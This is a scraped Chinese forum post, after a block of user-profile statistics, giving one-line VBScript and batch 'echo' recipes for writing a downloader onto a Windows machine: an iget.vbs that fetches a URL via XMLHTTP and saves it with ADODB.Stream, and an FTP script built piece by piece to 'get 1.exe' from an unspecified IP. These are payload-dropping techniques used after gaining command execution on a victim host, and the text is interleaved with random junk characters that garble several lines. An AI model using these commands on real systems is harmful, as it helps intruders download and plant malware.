- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: - G7 S! e9 A+ s* V3 U
1.iget.vbs一次写入
( ^: p/ L1 P: I S在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
8 N. I+ N/ {1 v$ T# K- O* R l" _! A y: B+ ?" Y" Z% Y% G
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 4 b' B" i! q% c+ D/ h, G
4 Y1 S; J+ b4 K这样我们可以一次echo成功,echo版本: & M! |/ F, ^' ~- c4 `- r
( X ~+ E/ T1 q+ j6 \6 {1 q
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
& j; p0 N7 t8 f3 L: _5 u3 S
6 X% i6 K2 ` [/ H) M1 Q+ F% c
, n ?" l3 U5 E" v2.bat调用ftp脚本的写法(by envymask) ( H* K! o, u" t V2 E4 _/ n
* G) v8 i& [( @/ Q; `/ W
echo ftp>1.vbs
1 T0 g# y" n+ A$ Lecho open ip>2.vbs $ j; U8 y# v1 }( w
echo u>3.vbs $ f" `5 N& j4 B9 a' d
echo s>4.vbs
, j* i% p" d3 Y8 d* Cecho binary>5.vbs ! |0 ?4 j f# d' i
echo get 1.exe>6.vbs
" ^: l! b" W7 x; G4 G7 Xecho bay>7.vbs
2 w+ e( J$ D' p( o- k+ W2 K. n: W% ]. u% E# `8 M, M% z
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs + ]* B; b' b! i
</P> |
zan
|